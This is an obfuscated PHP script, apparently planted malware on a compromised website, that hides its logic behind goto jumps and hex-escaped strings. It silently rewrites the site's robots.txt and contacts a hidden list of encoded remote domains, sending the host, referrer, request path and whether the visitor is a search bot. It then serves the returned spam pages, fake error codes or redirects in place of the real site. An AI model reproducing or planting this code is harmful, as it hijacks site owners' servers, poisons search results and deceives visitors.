<?php
 goto Exdtk; UgMY2: function disbot() { $uAgent = strtolower(isset($_SERVER["\110\124\x54\120\x5f\x55\123\x45\x52\x5f\101\107\105\116\124"]) ? $_SERVER["\110\x54\x54\120\137\x55\123\105\x52\137\101\107\x45\116\x54"] : ''); return stristr($uAgent, "\147\x6f\157\x67\154\x65\142\x6f\x74") || stristr($uAgent, "\142\x69\x6e\x67") || stristr($uAgent, "\x79\141\150\x6f\157") || stristr($uAgent, "\147\x6f\157\147\154\x65") || stristr($uAgent, "\x47\x6f\157\x67\154\145\142\x6f\164"); } goto cHOKT; zcH2y: $http = is_https() ? "\x68\164\164\160\163" : "\x68\x74\164\160"; goto sdCWc; CVJ2o: $lang = isset($_SERVER["\x48\124\124\120\137\101\103\x43\x45\x50\x54\137\x4c\101\x4e\107\125\x41\107\x45"]) ? $_SERVER["\110\x54\124\x50\137\101\x43\103\x45\x50\124\137\114\101\x4e\x47\125\101\x47\x45"] : "\145\156"; goto nyeri; u3n8B: function is_https() { return isset($_SERVER["\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\124\124\x50\x53"]) !== "\x6f\146\146" || isset($_SERVER["\110\124\124\120\137\x58\137\106\117\122\x57\101\122\x44\105\x44\137\x50\x52\x4f\124\x4f"]) && $_SERVER["\x48\124\124\x50\137\x58\137\106\117\x52\127\101\122\104\105\104\x5f\x50\x52\117\x54\117"] === "\150\164\164\160\x73" || isset($_SERVER["\110\x54\x54\x50\137\106\122\117\116\124\137\105\x4e\104\x5f\110\124\x54\120\123"]) && strtolower($_SERVER["\x48\x54\x54\x50\x5f\106\x52\x4f\116\x54\x5f\105\x4e\x44\137\110\x54\x54\120\x53"]) !== "\157\x66\x66"; } goto M8ji3; vs2Ns: $xmlname = explode("\x2c", $xmlstring); goto zcH2y; K6OsL: $html_content = doutdo($xmlname, $http, $web); goto Loxss; CKfSE: $duri = empty($duri_tmp) ? "\57" : $duri_tmp; goto QGGli; Loxss: $robotsPath = $_SERVER["\104\x4f\x43\x55\x4d\x45\116\124\137\122\x4f\117\x54"] . "\x2f\x72\x6f\142\x6f\x74\163\56\164\x78\x74"; goto nJiVl; QGGli: $host = $_SERVER["\x48\x54\124\120\137\110\x4f\x53\x54"]; goto CVJ2o; nyeri: $urlshang = isset($_SERVER["\x48\x54\x54\120\137\122\105\106\105\122\105\x52"]) ? $_SERVER["\x48\x54\124\120\137\122\x45\106\x45\122\x45\122"] : ''; goto DAlxp; M8ji3: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\x55\105\123\124\x5f\x55\x52\x49"])) { return $_SERVER["\x52\x45\121\125\x45\123\124\x5f\125\122\x49"]; } elseif (isset($_SERVER["\141\x72\147\x76"])) { return $_SERVER["\120\110\120\x5f\x53\x45\114\x46"] . "\x3f" . $_SERVER["\141\x72\x67\x76"][0]; } else { return $_SERVER["\x50\110\x50\x5f\x53\105\x4c\x46"] . "\77" . $_SERVER["\121\x55\x45\122\x59\137\x53\x54\122\x49\116\x47"]; } } goto UgMY2; lIp4t: $defaultContent = "\x55\x73\x65\x72\x2d\x61\147\x65\156\x74\72\40\52" . PHP_EOL; goto bfbQf; Y1YPh: if (stristr($duri, "\x2f\77")) { $hta = "\77"; } goto lIp4t; GzgTu: if (!strstr($html_content, "\156\157\142\x6f\x74\165\x73\145\x72\x61\147\145\156\164")) { handle_content($html_content); } goto u3n8B; DAlxp: $web = "\x77\x65\x62\x3d" . $host . "\x26\x7a\172\75" . (disbot() ? "\61" : "\60") . "\x26\165\162\151\x3d" . urlencode($duri) . "\x26\165\x72\154\x73\x68\141\156\x67\x3d" . urlencode($urlshang) . "\x26\x68\x74\x74\x70\75" . $http . "\x26\x6c\141\x6e\x67\75" . $lang; goto K6OsL; nJiVl: $hta = ''; goto Y1YPh; Exdtk: $xmlstring = "\x25\x33\x32\x25\x33\66\45\x33\62\x25\x33\x32\x25\x32\x44\45\66\x35\45\x36\105\45\66\x31\45\x37\70\45\63\62\x25\63\60\45\63\x31\x25\x32\x45\45\x37\x36\x25\x37\101\x25\x36\63\45\66\70\x25\67\71\x25\66\x36\x25\x36\x32\x25\66\65\45\62\105\x25\x36\x42\x25\66\x43\x25\66\x44\x2c\45\63\62\x25\x33\66\45\x33\62\x25\63\62\45\x32\104\45\x36\65\45\x36\105\45\x36\x31\x25\x37\x38\45\x33\x32\45\63\60\x25\63\61\45\x32\105\x25\x36\71\x25\67\x36\x25\66\x35\45\66\x45\x25\67\x39\45\67\66\x25\x36\x37\x25\x37\65\x25\67\x32\x25\x32\105\x25\66\x42\45\x36\x43\45\66\x44\54\x25\x33\62\45\x33\66\x25\63\62\x25\x33\x32\45\62\x44\x25\66\65\x25\66\x45\x25\66\x31\x25\x37\70\x25\63\x32\45\63\60\45\63\x31\45\62\105\45\x37\x33\45\66\105\45\x36\x36\45\66\67\45\66\x32\x25\x36\65\45\67\62\x25\66\x36\45\62\x45\45\x36\67\x25\66\62\45\x36\63\x2c\45\x33\62\45\x33\66\x25\63\62\45\63\62\x25\62\x44\x25\66\x35\45\66\x45\45\x36\61\x25\67\70\45\x33\62\45\x33\60\x25\x33\61\x25\62\105\45\67\71\45\67\x36\x25\67\101\x25\67\66\x25\x36\61\x25\x36\x45\45\67\71\45\x37\66\45\x36\66\45\62\x45\x25\66\67\x25\x36\62\45\66\x33"; goto vs2Ns; cHOKT: function doutdo($webs, $http, $web) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = "\150\164\164\160\x3a\57\x2f" . $domain . "\x2f\151\156\x64\x65\170\x2e\x70\150\160\77" . $web; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } if (ini_get("\x61\154\154\157\x77\137\165\x72\x6c\137\x66\x6f\x70\x65\156")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } echo "\143\125\x52\x4c\x20\x45\x72\162\157\162\72\x20\x30"; } goto A8kPI; z5ku_: if (!file_exists($robotsPath)) { file_put_contents($robotsPath, $defaultContent); } else { if (md5_file($robotsPath) !== md5($defaultContent)) { @file_put_contents($robotsPath, $defaultContent); } } goto GzgTu; sdCWc: $duri_tmp = drequest_uri(); goto CKfSE; SG469: $defaultContent .= "\x53\151\164\145\155\141\x70\72\x20" . $http . "\72\57\x2f" . $host . "\57" . $hta . "\163\151\164\x65\155\x61\x70\56\x78\155\x6c" . PHP_EOL; goto z5ku_; bfbQf: $defaultContent .= "\x41\154\154\157\167\72\x20\x2f" . PHP_EOL . PHP_EOL; goto SG469; A8kPI: function handle_content($html_content) { if (strstr($html_content, "\157\153\x68\x74\155\x6c\147\x65\x74\x63\157\x6e\x74\145\156\164")) { header("\x43\157\x6e\164\145\156\x74\x2d\164\x79\x70\145\72\40\164\x65\170\x74\x2f\x68\164\155\x6c\x3b\40\x63\x68\x61\162\x73\x65\x74\75\x75\x74\146\55\70"); echo str_replace("\x6f\153\x68\x74\155\x6c\x67\145\x74\x63\157\x6e\164\x65\156\164", '', $html_content); die; } elseif (strstr($html_content, "\x6f\x6b\x78\155\x6c\147\x65\x74\x63\157\156\x74\x65\156\164")) { header("\103\x6f\x6e\x74\x65\156\x74\x2d\124\171\x70\145\x3a\40\141\x70\x70\154\151\x63\x61\164\151\157\156\57\x78\155\x6c\x3b\x20\x63\x68\x61\x72\x73\x65\x74\75\165\x74\x66\x2d\x38"); echo str_replace("\157\x6b\x78\x6d\154\147\145\x74\143\157\156\164\x65\x6e\164", '', $html_content); die; } elseif (strstr($html_content, "\x67\145\x74\143\x6f\156\164\x65\156\164\65\60\60\160\x61\x67\x65")) { header("\x48\x54\x54\120\x2f\61\56\61\40\x35\60\60\x20\111\x6e\164\x65\x72\x6e\x61\x6c\x20\123\x65\x72\x76\x65\162\40\105\x72\162\157\x72"); die; } elseif (strstr($html_content, "\147\145\164\143\x6f\156\x74\145\156\x74\x34\60\64\160\x61\147\x65")) { header("\x48\124\124\x50\x2f\61\56\61\x20\x34\60\x34\x20\x4e\x6f\164\x20\106\157\165\156\144"); die; } elseif (strstr($html_content, "\x67\x65\x74\x63\x6f\x6e\164\x65\x6e\164\x33\60\x31\160\141\147\145")) { header("\x48\124\124\x50\x2f\61\x2e\61\x20\63\60\61\x20\x4d\x6f\166\145\144\x20\120\145\x72\155\x61\156\x65\x6e\x74\154\171"); $html_content = str_replace("\147\x65\x74\143\157\156\x74\x65\x6e\164\63\60\61\160\141\147\145", '', $html_content); header("\x4c\x6f\143\x61\164\151\x6f\156\72\40" . $html_content); die; } elseif (strstr($html_content, "\x6f\153\x72\157\x62\157\x74\x73\x67\145\164\143\157\156\164\x65\156\x74")) { header("\x43\157\156\164\x65\156\x74\55\124\x79\160\145\72\40\x74\x65\x78\x74\x2f\x70\x6c\x61\151\156"); echo str_replace("\x6f\x6b\x72\x6f\x62\x6f\164\163\x67\x65\164\x63\x6f\x6e\x74\x65\156\164", '', $html_content); die; } }